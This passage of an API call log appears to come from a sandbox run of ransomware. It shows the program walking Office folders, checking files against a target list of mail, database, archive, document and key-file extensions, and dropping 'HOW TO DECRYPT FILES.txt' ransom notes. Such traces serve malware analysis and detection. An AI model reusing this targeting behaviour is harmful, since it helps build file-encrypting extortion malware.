Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.mbox") returned 0 [0065.844] lstrlenA (lpString="*.mbox") returned 6 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.eml") returned 0 [0065.844] lstrlenA (lpString="*.eml") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.pst") returned 0 [0065.845] lstrlenA (lpString="*.pst") returned 5 [0065.845] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.ost") returned 0 [0065.845] lstrlenA (lpString="*.ost") returned 5 [0065.845] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.idx") returned 0 [0065.845] lstrlenA (lpString="*.idx") returned 5 [0065.845] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.dbx") returned 0 [0065.845] lstrlenA (lpString="*.dbx") returned 5 [0065.845] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.sql") returned 0 [0065.845] lstrlenA (lpString="*.sql") returned 5 [0065.845] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.mdb") returned 0 [0065.845] lstrlenA (lpString="*.mdb") returned 5 [0065.845] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.fdb") returned 0 [0065.845] lstrlenA (lpString="*.fdb") returned 5 [0065.845] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.wab") returned 0 [0065.845] lstrlenA (lpString="*.wab") returned 5 [0065.845] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.dat") returned 0 [0065.845] lstrlenA (lpString="*.dat") returned 5 [0065.845] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.txt") returned 0 [0065.845] lstrlenA (lpString="*.txt") returned 5 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.jpeg") returned 0 [0065.846] lstrlenA (lpString="*.jpeg") returned 6 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.jpg") returned 0 [0065.846] lstrlenA (lpString="*.jpg") returned 5 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.png") returned 0 [0065.846] lstrlenA (lpString="*.png") returned 5 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.php") returned 0 [0065.846] lstrlenA (lpString="*.php") returned 5 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.cs") returned 0 [0065.846] lstrlenA (lpString="*.cs") returned 4 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.cpp") returned 0 [0065.846] lstrlenA (lpString="*.cpp") returned 5 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.rar") returned 0 [0065.846] lstrlenA (lpString="*.rar") returned 5 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.zip") returned 0 [0065.846] lstrlenA (lpString="*.zip") returned 5 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.html") returned 0 [0065.846] lstrlenA (lpString="*.html") returned 6 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.htm") returned 0 [0065.846] lstrlenA (lpString="*.htm") returned 5 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.xlsx") returned 0 [0065.846] lstrlenA (lpString="*.xlsx") returned 6 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.xls") returned 0 [0065.846] lstrlenA (lpString="*.xls") returned 5 [0065.846] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.mp4") returned 0 [0065.847] lstrlenA (lpString="*.mp4") returned 5 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.ppt") returned 0 [0065.847] lstrlenA (lpString="*.ppt") returned 5 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.pptx") returned 0 [0065.847] lstrlenA (lpString="*.pptx") returned 6 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.doc") returned 0 [0065.847] lstrlenA (lpString="*.doc") returned 5 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.dot") returned 0 [0065.847] lstrlenA (lpString="*.dot") returned 5 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.docx") returned 0 [0065.847] lstrlenA (lpString="*.docx") returned 6 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.7z") returned 0 [0065.847] lstrlenA (lpString="*.7z") returned 4 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.tar") returned 0 [0065.847] lstrlenA (lpString="*.tar") returned 5 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.bz2") returned 0 [0065.847] lstrlenA (lpString="*.bz2") returned 5 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.gz") returned 0 [0065.847] lstrlenA (lpString="*.gz") returned 4 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.mkv") returned 0 [0065.847] lstrlenA (lpString="*.mkv") returned 5 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.eml") returned 0 [0065.847] lstrlenA (lpString="*.eml") returned 5 [0065.847] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.msg") returned 0 [0065.847] lstrlenA (lpString="*.msg") returned 5 [0065.848] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.edb") returned 0 [0065.848] lstrlenA (lpString="*.edb") returned 5 [0065.848] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.accdb") returned 0 [0065.848] lstrlenA (lpString="*.accdb") returned 7 [0065.848] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.odb") returned 0 [0065.848] lstrlenA (lpString="*.odb") returned 5 [0065.848] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.java") returned 0 [0065.848] lstrlenA (lpString="*.java") returned 6 [0065.848] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.asm") returned 0 [0065.848] lstrlenA (lpString="*.asm") returned 5 [0065.848] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.pfx") returned 0 [0065.848] lstrlenA (lpString="*.pfx") returned 5 [0065.848] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.pem") returned 0 [0065.848] lstrlenA (lpString="*.pem") returned 5 [0065.848] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.p12") returned 0 [0065.848] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xe0c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATPVBAEN.XLAM", cAlternateFileName="ATPVBA~1.XLA")) returned 1 [0065.848] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.848] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ATPVBAEN.XLAM") returned 1 [0065.848] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ATPVBAEN.XLAM") returned 1 [0065.848] lstrcmpiA (lpString1="", lpString2="ATPVBAEN.XLAM") returned -1 [0065.848] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL") returned="ANALYS32.XLL" [0065.849] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0065.849] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="" [0065.849] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt" [0065.849] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\how to decrypt files.txt")) returned 0x20 [0065.849] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\", lpString2="ATPVBAEN.XLAM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" [0065.849] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM", pszSpec="*.ems") returned 0 [0065.849] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="FUNCRES.XLAM", cAlternateFileName="FUNCRE~1.XLA")) returned 1 [0065.849] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.849] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FUNCRES.XLAM") returned -1 [0065.849] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FUNCRES.XLAM") returned 1 [0065.849] lstrcmpiA (lpString1="", lpString2="FUNCRES.XLAM") returned -1 [0065.849] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM") returned="ATPVBAEN.XLAM" [0065.849] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0065.849] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="" [0065.850] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt" [0065.850] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\how to decrypt files.txt")) returned 0x20 [0065.850] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\", lpString2="FUNCRES.XLAM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" [0065.850] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM", pszSpec="*.ems") returned 0 [0065.850] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 1 [0065.850] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.850] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PROCDB.XLAM") returned -1 [0065.850] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PROCDB.XLAM") returned -1 [0065.850] lstrcmpiA (lpString1="", lpString2="PROCDB.XLAM") returned -1 [0065.850] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM") returned="FUNCRES.XLAM" [0065.850] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0065.850] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="" [0065.850] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt" [0065.850] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\how to decrypt files.txt")) returned 0x20 [0065.850] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\", lpString2="PROCDB.XLAM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" [0065.851] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 0 [0065.851] FindClose (in: hFindFile=0x502558 | out: hFindFile=0x502558) returned 1 [0065.851] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0065.851] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0065.851] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EUROTOOL.XLAM") returned -1 [0065.851] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EUROTOOL.XLAM") returned 1 [0065.851] lstrcmpiA (lpString1="", lpString2="EUROTOOL.XLAM") returned -1 [0065.851] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*.*") returned="*.*" [0065.851] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\" [0065.851] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\") returned="" [0065.851] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\HOW TO DECRYPT FILES.txt" [0065.851] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\how to decrypt files.txt")) returned 0xffffffff [0065.852] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0065.854] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.854] CloseHandle (hObject=0x8c) returned 1 [0065.854] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\", lpString2="EUROTOOL.XLAM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" [0065.854] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 1 [0065.854] lstrcmpA (lpString1=".", lpString2="SOLVER") returned -1 [0065.854] lstrcmpA (lpString1="..", lpString2="SOLVER") returned -1 [0065.854] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM") returned="EUROTOOL.XLAM" [0065.854] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\", lpString2="SOLVER" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" [0065.855] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f81b6, cFileName=".", cAlternateFileName="")) returned 0x502558 [0065.855] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.855] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.855] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.855] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.855] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0065.855] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.855] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SOLVER.XLAM") returned -1 [0065.855] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SOLVER.XLAM") returned -1 [0065.855] lstrcmpiA (lpString1="", lpString2="SOLVER.XLAM") returned -1 [0065.855] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*.*") returned="*.*" [0065.855] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" [0065.855] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\") returned="" [0065.855] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW TO DECRYPT FILES.txt" [0065.855] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\how to decrypt files.txt")) returned 0xffffffff [0065.856] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0065.857] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.858] CloseHandle (hObject=0x90) returned 1 [0065.858] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\", lpString2="SOLVER.XLAM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" [0065.858] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 1 [0065.858] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.858] lstrcmpiA 